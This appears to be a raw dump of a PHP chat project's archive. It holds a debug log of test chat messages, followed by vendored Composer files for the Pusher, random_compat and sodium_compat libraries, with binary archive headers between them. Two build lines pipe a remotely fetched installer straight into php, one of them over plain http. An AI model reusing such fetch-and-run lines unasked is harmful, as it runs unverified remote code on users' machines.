    [from] => 70
    [to] => 78
    [id] => 364
)

data = Array
(
    [message] => tt
    [from] => 70
    [to] => 78
    [channel_token] => sadfdsf
    [id] => 365
)

data2 = Array
(
    [message] => tt
    [from] => 70
    [to] => 78
    [id] => 365
)

channel_token = sadfdsf
ss = Array
(
    [message] => tt
    [from] => 70
    [to] => 78
    [id] => 365
)

data = Array
(
    [message] => ttt
    [from] => 70
    [to] => 78
    [channel_token] => sadfdsf
    [id] => 366
)

data2 = Array
(
    [message] => ttt
    [from] => 70
    [to] => 78
    [id] => 366
)

channel_token = sadfdsf
ss = Array
(
    [message] => ttt
    [from] => 70
    [to] => 78
    [id] => 366
)

data = Array
(
    [message] => ttttt
    [from] => 70
    [to] => 78
    [channel_token] => sadfdsf
    [id] => 367
)

data2 = Array
(
    [message] => ttttt
    [from] => 70
    [to] => 78
    [id] => 367
)

channel_token = sadfdsf
ss = Array
(
    [message] => ttttt
    [from] => 70
    [to] => 78
    [id] => 367
)

data = Array
(
    [message] => aaaaa
    [from] => 70
    [to] => 78
    [channel_token] => sadfdsf
    [id] => 368
)

data2 = Array
(
    [message] => aaaaa
    [from] => 70
    [to] => 78
    [id] => 368
)

channel_token = sadfdsf
ss = Array
(
    [message] => aaaaa
    [from] => 70
    [to] => 78
    [id] => 368
)

data = Array
(
    [message] => qqqq
    [from] => 70
    [to] => 78
    [channel_token] => sadfdsf
    [id] => 369
)

data2 = Array
(
    [message] => qqqq
    [from] => 70
    [to] => 78
    [id] => 369
)

channel_token = sadfdsf
ss = Array
(
    [message] => qqqq
    [from] => 70
    [to] => 78
    [id] => 369
)

data = Array
(
    [message] => تست
    [from] => 78
    [to] => 70
    [channel_token] => sadfdsf
    [id] => 370
)

data2 = Array
(
    [message] => تست
    [from] => 78
    [to] => 70
    [id] => 370
)

channel_token = sadfdsf
ss = Array
(
    [message] => تست
    [from] => 78
    [to] => 70
    [id] => 370
)

data = Array
(
    [message] => تست جدید
    [from] => 78
    [to] => 70
    [channel_token] => sadfdsf
    [id] => 371
)

data2 = Array
(
    [message] => تست جدید
    [from] => 78
    [to] => 70
    [id] => 371
)

channel_token = sadfdsf
ss = Array
(
    [message] => تست جدید
    [from] => 78
    [to] => 70
    [id] => 371
)

data = Array
(
    [message] => تست
    [from] => 68
    [to] => 70
    [channel_token] => sdfsdf26546s5fd654sdf
    [id] => 372
)

data2 = Array
(
    [message] => تست
    [from] => 68
    [to] => 70
    [id] => 372
)

channel_token = sdfsdf26546s5fd654sdf
ss = Array
(
    [message] => تست
    [from] => 68
    [to] => 70
    [id] => 372
)

data = Array
(
    [message] => کلام جدید
    [from] => 68
    [to] => 70
    [channel_token] => sdfsdf26546s5fd654sdf
    [id] => 373
)

data2 = Array
(
    [message] => کلام جدید
    [from] => 68
    [to] => 70
    [id] => 373
)

channel_token = sdfsdf26546s5fd654sdf
ss = Array
(
    [message] => کلام جدید
    [from] => 68
    [to] => 70
    [id] => 373
)

data = Array
(
    [message] => hi
    [from] => 68
    [to] => 70
    [channel_token] => 
    [id] => 374
)

data2 = Array
(
    [message] => hi
    [from] => 68
    [to] => 70
    [id] => 374
)

channel_token = 
PK	�[��b_��%chat/sendMessage/pusher/composer.jsonnu�[���{
    "require": {
        "pusher/pusher-php-server": "^4.1"
    },
    "autoload": {
        "psr-4": {
            "P\\": "src"
        }
    }
}
PK	�[�}���!�!%chat/sendMessage/pusher/composer.locknu�[���{
    "_readme": [
        "This file locks the dependencies of your project to a known
state",
        "Read more about it at
https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
        "This file is @generated automatically"
    ],
    "content-hash": "348f23666086fc823d726acbdf441f8f",
    "packages": [
        {
            "name": "paragonie/random_compat",
            "version": "v9.99.100",
            "source": {
                "type": "git",
                "url":
"https://github.com/paragonie/random_compat.git",
                "reference":
"996434e5492cb4c3edcb9168db6fbb1359ef965a"
            },
            "dist": {
                "type": "zip",
                "url":
"https://api.github.com/repos/paragonie/random_compat/zipball/996434e5492cb4c3edcb9168db6fbb1359ef965a",
                "reference":
"996434e5492cb4c3edcb9168db6fbb1359ef965a",
                "shasum": ""
            },
            "require": {
                "php": ">= 7"
            },
            "require-dev": {
                "phpunit/phpunit": "4.*|5.*",
                "vimeo/psalm": "^1"
            },
            "suggest": {
                "ext-libsodium": "Provides a modern crypto
API that can be used to generate random bytes."
            },
            "type": "library",
            "notification-url":
"https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "Paragon Initiative
Enterprises",
                    "email": "security@paragonie.com",
                    "homepage": "https://paragonie.com"
                }
            ],
            "description": "PHP 5.x polyfill for
random_bytes() and random_int() from PHP 7",
            "keywords": [
                "csprng",
                "polyfill",
                "pseudorandom",
                "random"
            ],
            "time": "2020-10-15T08:29:30+00:00"
        },
        {
            "name": "paragonie/sodium_compat",
            "version": "v1.14.0",
            "source": {
                "type": "git",
                "url":
"https://github.com/paragonie/sodium_compat.git",
                "reference":
"a1cfe0b21faf9c0b61ac0c6188c4af7fd6fd0db3"
            },
            "dist": {
                "type": "zip",
                "url":
"https://api.github.com/repos/paragonie/sodium_compat/zipball/a1cfe0b21faf9c0b61ac0c6188c4af7fd6fd0db3",
                "reference":
"a1cfe0b21faf9c0b61ac0c6188c4af7fd6fd0db3",
                "shasum": ""
            },
            "require": {
                "paragonie/random_compat": ">=1",
                "php":
"^5.2.4|^5.3|^5.4|^5.5|^5.6|^7|^8"
            },
            "require-dev": {
                "phpunit/phpunit":
"^3|^4|^5|^6|^7|^8|^9"
            },
            "suggest": {
                "ext-libsodium": "PHP < 7.0: Better
performance, password hashing (Argon2i), secure memory management
(memzero), and better security.",
                "ext-sodium": "PHP >= 7.0: Better
performance, password hashing (Argon2i), secure memory management
(memzero), and better security."
            },
            "type": "library",
            "autoload": {
                "files": [
                    "autoload.php"
                ]
            },
            "notification-url":
"https://packagist.org/downloads/",
            "license": [
                "ISC"
            ],
            "authors": [
                {
                    "name": "Paragon Initiative
Enterprises",
                    "email": "security@paragonie.com"
                },
                {
                    "name": "Frank Denis",
                    "email": "jedisct1@pureftpd.org"
                }
            ],
            "description": "Pure PHP implementation of
libsodium; uses the PHP extension if it exists",
            "keywords": [
                "Authentication",
                "BLAKE2b",
                "ChaCha20",
                "ChaCha20-Poly1305",
                "Chapoly",
                "Curve25519",
                "Ed25519",
                "EdDSA",
                "Edwards-curve Digital Signature Algorithm",
                "Elliptic Curve Diffie-Hellman",
                "Poly1305",
                "Pure-PHP cryptography",
                "RFC 7748",
                "RFC 8032",
                "Salpoly",
                "Salsa20",
                "X25519",
                "XChaCha20-Poly1305",
                "XSalsa20-Poly1305",
                "Xchacha20",
                "Xsalsa20",
                "aead",
                "cryptography",
                "ecdh",
                "elliptic curve",
                "elliptic curve cryptography",
                "encryption",
                "libsodium",
                "php",
                "public-key cryptography",
                "secret-key cryptography",
                "side-channel resistant"
            ],
            "time": "2020-12-03T16:26:19+00:00"
        },
        {
            "name": "psr/log",
            "version": "1.1.3",
            "source": {
                "type": "git",
                "url":
"https://github.com/php-fig/log.git",
                "reference":
"0f73288fd15629204f9d42b7055f72dacbe811fc"
            },
            "dist": {
                "type": "zip",
                "url":
"https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc",
                "reference":
"0f73288fd15629204f9d42b7055f72dacbe811fc",
                "shasum": ""
            },
            "require": {
                "php": ">=5.3.0"
            },
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "1.1.x-dev"
                }
            },
            "autoload": {
                "psr-4": {
                    "Psr\\Log\\": "Psr/Log/"
                }
            },
            "notification-url":
"https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "authors": [
                {
                    "name": "PHP-FIG",
                    "homepage":
"http://www.php-fig.org/"
                }
            ],
            "description": "Common interface for logging
libraries",
            "homepage":
"https://github.com/php-fig/log",
            "keywords": [
                "log",
                "psr",
                "psr-3"
            ],
            "time": "2020-03-23T09:12:05+00:00"
        },
        {
            "name": "pusher/pusher-php-server",
            "version": "v4.1.4",
            "source": {
                "type": "git",
                "url":
"https://github.com/pusher/pusher-http-php.git",
                "reference":
"e75e5715e3b651ec20dee5844095aadefab81acb"
            },
            "dist": {
                "type": "zip",
                "url":
"https://api.github.com/repos/pusher/pusher-http-php/zipball/e75e5715e3b651ec20dee5844095aadefab81acb",
                "reference":
"e75e5715e3b651ec20dee5844095aadefab81acb",
                "shasum": ""
            },
            "require": {
                "ext-curl": "*",
                "paragonie/sodium_compat": "^1.6",
                "php": "^7.1",
                "psr/log": "^1.0"
            },
            "require-dev": {
                "phpunit/phpunit": "^7.2"
            },
            "type": "library",
            "extra": {
                "branch-alias": {
                    "dev-master": "3.4-dev"
                }
            },
            "autoload": {
                "psr-4": {
                    "Pusher\\": "src/"
                }
            },
            "notification-url":
"https://packagist.org/downloads/",
            "license": [
                "MIT"
            ],
            "description": "Library for interacting with the
Pusher REST API",
            "keywords": [
                "events",
                "messaging",
                "php-pusher-server",
                "publish",
                "push",
                "pusher",
                "real time",
                "real-time",
                "realtime",
                "rest",
                "trigger"
            ],
            "time": "2020-04-14T15:20:04+00:00"
        }
    ],
    "packages-dev": [],
    "aliases": [],
    "minimum-stability": "stable",
    "stability-flags": [],
    "prefer-stable": false,
    "prefer-lowest": false,
    "platform": [],
    "platform-dev": [],
    "plugin-api-version": "1.1.0"
}
PK	�[��Y���+chat/sendMessage/pusher/vendor/autoload.phpnu�[���<?php

// autoload.php @generated by Composer

require_once __DIR__ . '/composer/autoload_real.php';

return ComposerAutoloaderInit75254bdcf8dcdff9c640de25cd452ac4::getLoader();
PK	�[t8Q��Dchat/sendMessage/pusher/vendor/paragonie/random_compat/build-phar.shnu�[���#!/usr/bin/env
bash

basedir=$( dirname $( readlink -f ${BASH_SOURCE[0]} ) )

php -dphar.readonly=0 "$basedir/other/build_phar.php"
$*PK	�[P|*�ffDchat/sendMessage/pusher/vendor/paragonie/random_compat/composer.jsonnu�[���{
  "name":         "paragonie/random_compat",
  "description":  "PHP 5.x polyfill for random_bytes() and
random_int() from PHP 7",
  "keywords": [
    "csprng",
    "random",
    "polyfill",
    "pseudorandom"
  ],
  "license":      "MIT",
  "type":         "library",
  "authors": [
    {
      "name":     "Paragon Initiative Enterprises",
      "email":    "security@paragonie.com",
      "homepage": "https://paragonie.com"
    }
  ],
  "support": {
    "issues":    
"https://github.com/paragonie/random_compat/issues",
    "email":      "info@paragonie.com",
    "source":    
"https://github.com/paragonie/random_compat"
  },
  "require": {
    "php": ">= 7"
  },
  "require-dev": {
    "vimeo/psalm": "^1",
    "phpunit/phpunit": "4.*|5.*"
  },
  "suggest": {
    "ext-libsodium": "Provides a modern crypto API that can
be used to generate random bytes."
  }
}
PK	�[*A|���Uchat/sendMessage/pusher/vendor/paragonie/random_compat/dist/random_compat.phar.pubkeynu�[���-----BEGIN
PUBLIC KEY-----
MHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEEd+wCqJDrx5B4OldM0dQE0ZMX+lx1ZWm
pui0SUqD4G29L3NGsz9UhJ/0HjBdbnkhIK5xviT0X5vtjacF6ajgcCArbTB+ds+p
+h7Q084NuSuIpNb6YPfoUFgC/CL9kAoc
-----END PUBLIC KEY-----
PK	�[١i���Ychat/sendMessage/pusher/vendor/paragonie/random_compat/dist/random_compat.phar.pubkey.ascnu�[���-----BEGIN
PGP SIGNATURE-----
Version: GnuPG v2.0.22 (MingW32)

iQEcBAABAgAGBQJWtW1hAAoJEGuXocKCZATaJf0H+wbZGgskK1dcRTsuVJl9IWip
QwGw/qIKI280SD6/ckoUMxKDCJiFuPR14zmqnS36k7N5UNPnpdTJTS8T11jttSpg
1LCmgpbEIpgaTah+cELDqFCav99fS+bEiAL5lWDAHBTE/XPjGVCqeehyPYref4IW
NDBIEsvnHPHPLsn6X5jq4+Yj5oUixgxaMPiR+bcO4Sh+RzOVB6i2D0upWfRXBFXA
NNnsg9/zjvoC7ZW73y9uSH+dPJTt/Vgfeiv52/v41XliyzbUyLalf02GNPY+9goV
JHG1ulEEBJOCiUD9cE1PUIJwHA/HqyhHIvV350YoEFiHl8iSwm7SiZu5kPjaq74=
=B6+8
-----END PGP SIGNATURE-----
PK	�[�&�//Echat/sendMessage/pusher/vendor/paragonie/random_compat/lib/random.phpnu�[���<?php
/**
 * Random_* Compatibility Library
 * for using the new PHP 7 random_* API in PHP 5 projects
 *
 * @version 2.99.99
 * @released 2018-06-06
 *
 * The MIT License (MIT)
 *
 * Copyright (c) 2015 - 2018 Paragon Initiative Enterprises
 *
 * Permission is hereby granted, free of charge, to any person obtaining a
copy
 * of this software and associated documentation files (the
"Software"), to deal
 * in the Software without restriction, including without limitation the
rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or
sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included
in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
IN THE
 * SOFTWARE.
 */

// NOP
PK	�[>��JJ>chat/sendMessage/pusher/vendor/paragonie/random_compat/LICENSEnu�[���The
MIT License (MIT)

Copyright (c) 2015 Paragon Initiative Enterprises

Permission is hereby granted, free of charge, to any person obtaining a
copy
of this software and associated documentation files (the
"Software"), to deal
in the Software without restriction, including without limitation the
rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE
SOFTWARE.

PK	�[�k}4aaKchat/sendMessage/pusher/vendor/paragonie/random_compat/other/build_phar.phpnu�[���<?php
$dist = dirname(__DIR__).'/dist';
if (!is_dir($dist)) {
    mkdir($dist, 0755);
}
if (file_exists($dist.'/random_compat.phar')) {
    unlink($dist.'/random_compat.phar');
}
$phar = new Phar(
    $dist.'/random_compat.phar',
    FilesystemIterator::CURRENT_AS_FILEINFO |
\FilesystemIterator::KEY_AS_FILENAME,
    'random_compat.phar'
);
rename(
    dirname(__DIR__).'/lib/random.php', 
    dirname(__DIR__).'/lib/index.php'
);
$phar->buildFromDirectory(dirname(__DIR__).'/lib');
rename(
    dirname(__DIR__).'/lib/index.php', 
    dirname(__DIR__).'/lib/random.php'
);

/**
 * If we pass an (optional) path to a private key as a second argument, we
will
 * sign the Phar with OpenSSL.
 * 
 * If you leave this out, it will produce an unsigned .phar!
 */
if ($argc > 1) {
    if (!@is_readable($argv[1])) {
        echo 'Could not read the private key file:', $argv[1],
"\n";
        exit(255);
    }
    $pkeyFile = file_get_contents($argv[1]);
    
    $private = openssl_get_privatekey($pkeyFile);
    if ($private !== false) {
        $pkey = '';
        openssl_pkey_export($private, $pkey);
        $phar->setSignatureAlgorithm(Phar::OPENSSL, $pkey);
        
        /**
         * Save the corresponding public key to the file
         */
        if (!@is_readable($dist.'/random_compat.phar.pubkey')) {
            $details = openssl_pkey_get_details($private);
            file_put_contents(
                $dist.'/random_compat.phar.pubkey',
                $details['key']
            );
        }
    } else {
        echo 'An error occurred reading the private key from
OpenSSL.', "\n";
        exit(255);
    }
}
PK	�[����Ichat/sendMessage/pusher/vendor/paragonie/random_compat/psalm-autoload.phpnu�[���<?php

require_once 'lib/byte_safe_strings.php';
require_once 'lib/cast_to_int.php';
require_once 'lib/error_polyfill.php';
require_once 'other/ide_stubs/libsodium.php';
require_once 'lib/random.php';

$int = random_int(0, 65536);
PK	�[D���TT@chat/sendMessage/pusher/vendor/paragonie/random_compat/psalm.xmlnu�[���<?xml
version="1.0"?>
<psalm
    autoloader="psalm-autoload.php"
    stopOnFirstError="false"
    useDocblockTypes="true"
>
    <projectFiles>
        <directory name="lib" />
    </projectFiles>
    <issueHandlers>
        <RedundantConditionGivenDocblockType errorLevel="info"
/>
        <UnresolvableInclude errorLevel="info" />
        <DuplicateClass errorLevel="info" />
        <InvalidOperand errorLevel="info" />
        <UndefinedConstant errorLevel="info" />
        <MissingReturnType errorLevel="info" />
        <InvalidReturnType errorLevel="info" />
    </issueHandlers>
</psalm>
PK	�[}�����Achat/sendMessage/pusher/vendor/paragonie/sodium_compat/.gitignorenu�[���/.idea/
/.php_cs.cache
/.phpunit.result.cache
/box/
/dist/sodium-compat.phar
/dist/sodium-compat.phar.sig
/composer.lock
/vendor/
/psalm.xml
PK	�[8�\Cchat/sendMessage/pusher/vendor/paragonie/sodium_compat/appveyor.ymlnu�[���build:
false
shallow_clone: false
platform:
  - x86
  - x64
clone_folder: C:\projects\sodium_compat
image: Visual Studio 2017

install:
  - cinst -y OpenSSL.Light
  - SET PATH=C:\Program Files\OpenSSL;%PATH%
  - sc config wuauserv start= auto
  - net start wuauserv
  - cinst -y php --version 5.6.30
  - cd c:\tools\php56
  - copy php.ini-production php.ini
  - echo date.timezone="UTC" >> php.ini
  - echo extension_dir=ext >> php.ini
  - echo extension=php_openssl.dll >> php.ini
  - cd C:\projects\sodium_compat
  - SET PATH=C:\tools\php56;%PATH%
  - php.exe -r
"readfile('http://getcomposer.org/installer');" |
php.exe
  - php.exe composer.phar install --prefer-source --no-interaction

test_script:
  - cd C:\projects\sodium_compat
  - vendor\bin\phpunit.bat tests/Windows32Test.php
PK	�[�U��OOHchat/sendMessage/pusher/vendor/paragonie/sodium_compat/autoload-fast.phpnu�[���<?php

require_once 'autoload.php';
ParagonIE_Sodium_Compat::$fastMult = true;
PK	�[O䝙rrLchat/sendMessage/pusher/vendor/paragonie/sodium_compat/autoload-pedantic.phpnu�[���<?php

require_once 'autoload.php';
define('DO_PEDANTIC_TEST', true);

ParagonIE_Sodium_Compat::$fastMult = true;
PK	�[�4�mzzHchat/sendMessage/pusher/vendor/paragonie/sodium_compat/autoload-php7.phpnu�[���<?php
/*
 This file should only ever be loaded on PHP 7+
 */
if (PHP_VERSION_ID < 70000) {
    return;
}

spl_autoload_register(function ($class) {
    $namespace = 'ParagonIE_Sodium_';
    // Does the class use the namespace prefix?
    $len = strlen($namespace);
    if (strncmp($namespace, $class, $len) !== 0) {
        // no, move to the next registered autoloader
        return false;
    }

    // Get the relative class name
    $relative_class = substr($class, $len);

    // Replace the namespace prefix with the base directory, replace
namespace
    // separators with directory separators in the relative class name,
append
    // with .php
    $file = dirname(__FILE__) . '/src/' .
str_replace('_', '/', $relative_class) .
'.php';
    // if the file exists, require it
    if (file_exists($file)) {
        require_once $file;
        return true;
    }
    return false;
});
PK	�[-��F��Kchat/sendMessage/pusher/vendor/paragonie/sodium_compat/autoload-phpunit.phpnu�[���<?php

require_once (dirname(__FILE__) . '/vendor/autoload.php');

if (PHP_VERSION_ID >= 50300) {
    require_once (dirname(__FILE__) . '/tests/phpunit-shim.php');
}
PK	�[�W}I	I	Cchat/sendMessage/pusher/vendor/paragonie/sodium_compat/autoload.phpnu�[���<?php

if (PHP_VERSION_ID < 70000) {
    if (!is_callable('sodiumCompatAutoloader')) {
        /**
         * Sodium_Compat autoloader.
         *
         * @param string $class Class name to be autoloaded.
         *
         * @return bool         Stop autoloading?
         */
        function sodiumCompatAutoloader($class)
        {
            $namespace = 'ParagonIE_Sodium_';
            // Does the class use the namespace prefix?
            $len = strlen($namespace);
            if (strncmp($namespace, $class, $len) !== 0) {
                // no, move to the next registered autoloader
                return false;
            }

            // Get the relative class name
            $relative_class = substr($class, $len);

            // Replace the namespace prefix with the base directory,
replace namespace
            // separators with directory separators in the relative class
name, append
            // with .php
            $file = dirname(__FILE__) . '/src/' .
str_replace('_', '/', $relative_class) .
'.php';
            // if the file exists, require it
            if (file_exists($file)) {
                require_once $file;
                return true;
            }
            return false;
        }

        // Now that we have an autoloader, let's register it!
        spl_autoload_register('sodiumCompatAutoloader');
    }
} else {
    require_once dirname(__FILE__) . '/autoload-php7.php';
}

if (!class_exists('SodiumException', false)) {
    require_once dirname(__FILE__) . '/src/SodiumException.php';
}
if (PHP_VERSION_ID >= 50300) {
    // Namespaces didn't exist before 5.3.0, so don't even try to
use this
    // unless PHP >= 5.3.0
    require_once dirname(__FILE__) . '/lib/namespaced.php';
    require_once dirname(__FILE__) . '/lib/sodium_compat.php';
} else {
    require_once dirname(__FILE__) .
'/src/PHP52/SplFixedArray.php';
}
if (PHP_VERSION_ID < 70200 || !extension_loaded('sodium')) {
    if (PHP_VERSION_ID >= 50300 &&
!defined('SODIUM_CRYPTO_SCALARMULT_BYTES')) {
        require_once dirname(__FILE__) .
'/lib/php72compat_const.php';
    }
    if (PHP_VERSION_ID >= 70000) {
        assert(class_exists('ParagonIE_Sodium_Compat'),
'Possible filesystem/autoloader bug?');
    } else {
        assert(class_exists('ParagonIE_Sodium_Compat'));
    }
    require_once (dirname(__FILE__) . '/lib/php72compat.php');
}
PK	�[�����Dchat/sendMessage/pusher/vendor/paragonie/sodium_compat/build-phar.shnu�[���#!/usr/bin/env
bash

curl -LSs https://box-project.github.io/box2/installer.php | php
mkdir ~/box
mv box.phar ~/box/box
PATH=$PATH:~/box/ make -C dist/ build-phar
# PATH=$PATH:~/box/ make -C dist/ sign-phar

PK	�[�Y�A��Jchat/sendMessage/pusher/vendor/paragonie/sodium_compat/composer-php52.jsonnu�[���{
  "name": "paragonie/sodium_compat",
  "description": "Pure PHP implementation of libsodium; uses
the PHP extension if it exists",
  "keywords": [
    "PHP",
    "cryptography",
    "elliptic curve",
    "elliptic curve cryptography",
    "Pure-PHP cryptography",
    "side-channel resistant",
    "Curve25519",
    "X25519",
    "ECDH",
    "Elliptic Curve Diffie-Hellman",
    "Ed25519",
    "RFC 7748",
    "RFC 8032",
    "EdDSA",
    "Edwards-curve Digital Signature Algorithm",
    "ChaCha20",
    "Salsa20",
    "Xchacha20",
    "Xsalsa20",
    "Poly1305",
    "BLAKE2b",
    "public-key cryptography",
    "secret-key cryptography",
    "AEAD",
    "Chapoly",
    "Salpoly",
    "ChaCha20-Poly1305",
    "XSalsa20-Poly1305",
    "XChaCha20-Poly1305",
    "encryption",
    "authentication",
    "libsodium"
  ],
  "license": "ISC",
  "authors": [
    {
      "name": "Paragon Initiative Enterprises",
      "email": "security@paragonie.com"
    },
    {
      "name": "Frank Denis",
      "email": "jedisct1@pureftpd.org"
    }
  ],
  "autoload": {
    "files": ["autoload.php"]
  },
  "repositories": [
    {
      "type": "git",
      "url": "https://github.com/garex/phpunit"
    },
    {
      "type": "git",
      "url":
"https://github.com/garex/phpunit-mock-objects"
    }
  ],
  "require": {
    "php": "^5.2.4|^5.3|^5.4|^5.5|^5.6|^7|^8",
    "xrstf/composer-php52": "1.*",
    "paragonie/random_compat": ">=1"
  },
  "minimum-stability": "dev",
  "require-dev": {
    "phpunit/phpunit-php52": "dev-3.6.12-php52",
    "phpunit/phpunit-mock-objects-php52":
"dev-1.1.0-php52"
  },
  "scripts": {
    "post-install-cmd": [
      "xrstf\\Composer52\\Generator::onPostInstallCmd"
    ],
    "post-update-cmd": [
      "xrstf\\Composer52\\Generator::onPostInstallCmd"
    ],
    "post-autoload-dump": [
      "xrstf\\Composer52\\Generator::onPostInstallCmd"
    ]
  },
  "suggest": {
    "ext-libsodium": "PHP < 7.0: Better performance,
password hashing (Argon2i), secure memory management (memzero), and better
security.",
    "ext-sodium": "PHP >= 7.0: Better performance,
password hashing (Argon2i), secure memory management (memzero), and better
security."
  }
}
PK	�[��܁Dchat/sendMessage/pusher/vendor/paragonie/sodium_compat/composer.jsonnu�[���{
  "name": "paragonie/sodium_compat",
  "description": "Pure PHP implementation of libsodium; uses
the PHP extension if it exists",
  "keywords": [
    "PHP",
    "cryptography",
    "elliptic curve",
    "elliptic curve cryptography",
    "Pure-PHP cryptography",
    "side-channel resistant",
    "Curve25519",
    "X25519",
    "ECDH",
    "Elliptic Curve Diffie-Hellman",
    "Ed25519",
    "RFC 7748",
    "RFC 8032",
    "EdDSA",
    "Edwards-curve Digital Signature Algorithm",
    "ChaCha20",
    "Salsa20",
    "Xchacha20",
    "Xsalsa20",
    "Poly1305",
    "BLAKE2b",
    "public-key cryptography",
    "secret-key cryptography",
    "AEAD",
    "Chapoly",
    "Salpoly",
    "ChaCha20-Poly1305",
    "XSalsa20-Poly1305",
    "XChaCha20-Poly1305",
    "encryption",
    "authentication",
    "libsodium"
  ],
  "license": "ISC",
  "authors": [
    {
      "name": "Paragon Initiative Enterprises",
      "email": "security@paragonie.com"
    },
    {
      "name": "Frank Denis",
      "email": "jedisct1@pureftpd.org"
    }
  ],
  "autoload": {
    "files": ["autoload.php"]
  },
  "require": {
    "php": "^5.2.4|^5.3|^5.4|^5.5|^5.6|^7|^8",
    "paragonie/random_compat": ">=1"
  },
  "require-dev": {
    "phpunit/phpunit": "^3|^4|^5|^6|^7|^8|^9"
  },
  "suggest": {
    "ext-libsodium": "PHP < 7.0: Better performance,
password hashing (Argon2i), secure memory management (memzero), and better
security.",
    "ext-sodium": "PHP >= 7.0: Better performance,
password hashing (Argon2i), secure memory management (memzero), and better
security."
  }
}
PK	�[s�nnDchat/sendMessage/pusher/vendor/paragonie/sodium_compat/dist/box.jsonnu�[���{
    "chmod": "0755",
    "finder": [
        {
            "in": "",
            "name": "autoload.php"
        },
        {
            "in": "src",
            "name": "*.php"
        },
        {
            "in": "lib",
            "name": "*.php"
        },
        {
            "in": "vendor/composer",
            "name": "*.php"
        },
        {
            "in": "vendor/paragonie",
            "name": "*.php"
        }
    ],
    "compactors": [
        "Herrera\\Box\\Compactor\\Php"
    ],
    "main": "vendor/autoload.php",
    "output": "sodium-compat.phar",
    "shebang": false,
    "stub": true
}
PK	�[�	��HHDchat/sendMessage/pusher/vendor/paragonie/sodium_compat/dist/Makefilenu�[���#
This builds sodium-compat.phar. To run this Makefile, `box` and `composer`
# must be installed and in your $PATH. Run it from inside the dist/
directory.

box := $(shell which box)
composer := "composer"
gitcommit := $(shell git rev-parse HEAD)

.PHONY: all
all: build-phar

.PHONY: sign-phar
sign-phar:
	gpg -u 7F52D5C61D1255C731362E826B97A1C2826404DA --armor --output
sodium-compat.phar.sig --detach-sig sodium-compat.phar

# ensure we run in clean tree. export git tree and run there.
.PHONY: build-phar
build-phar:
	@echo "Creating .phar from revision $(shell git rev-parse
HEAD)."
	rm -rf worktree
	install -d worktree
	(cd $(CURDIR)/..; git archive HEAD) | tar -x -C worktree
	$(MAKE) -f $(CURDIR)/Makefile -C worktree sodium-compat.phar
	mv worktree/*.phar .
	rm -rf worktree

.PHONY: clean
clean:
	rm -vf sodium-compat.phar sodium-compat.phar.sig

# Inside workdir/:

sodium-compat.phar: dist/box.json composer.lock
	cp dist/box.json .
	php -d phar.readonly=0 $(box) build -c box.json -v

composer.lock:
	$(composer) config autoloader-suffix $(gitcommit)
	$(composer) install --no-dev

PK	�[��x�AAHchat/sendMessage/pusher/vendor/paragonie/sodium_compat/lib/constants.phpnu�[���<?php
namespace Sodium;

require_once dirname(dirname(__FILE__)) . '/autoload.php';

use ParagonIE_Sodium_Compat;

const CRYPTO_AEAD_AES256GCM_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_KEYBYTES;
const CRYPTO_AEAD_AES256GCM_NSECBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_NSECBYTES;
const CRYPTO_AEAD_AES256GCM_NPUBBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_NPUBBYTES;
const CRYPTO_AEAD_AES256GCM_ABYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_ABYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES;
